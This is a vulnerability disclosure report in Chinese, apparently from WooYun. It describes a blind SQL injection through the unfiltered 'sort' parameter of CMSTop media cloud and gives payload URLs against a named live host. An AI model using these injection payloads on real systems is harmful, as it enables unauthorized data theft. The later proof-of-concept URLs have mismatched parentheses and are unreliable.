### 简要描述:
今天无聊就多看了一会儿媒体云的产品,order by 后面的注入技巧
### 详细说明:
其他说明见:
[WooYun: cmstop媒体云SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-0135986)
同样的cmstop 媒体云的注入
注册账号后,在选择链接分类的时候,会发生如下链接
http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc&category=2
但是其中的sort参数过滤不严格,导致了一个order by后面的mysql注入
利用mysql的报错特性进行注入,当1=1会正在,1=2就会异常了,其实mysql会抛出一个Subquery returns more than 1 row的异常,利用这个特性,我们可以进行注入:
构造如下链接,
http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(substring(database(),1,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2
可爆出数据库为:cloud_data
进而获取其他数据,就不深入了
媒体云上的系统都会受影响
### 漏洞证明:
访问
```
http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(1=1,1,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2
```
和
```
http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(1=2,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2
```
返回不同的结果,因为第二个链接实际上会触发一个mysql异常
暂无评论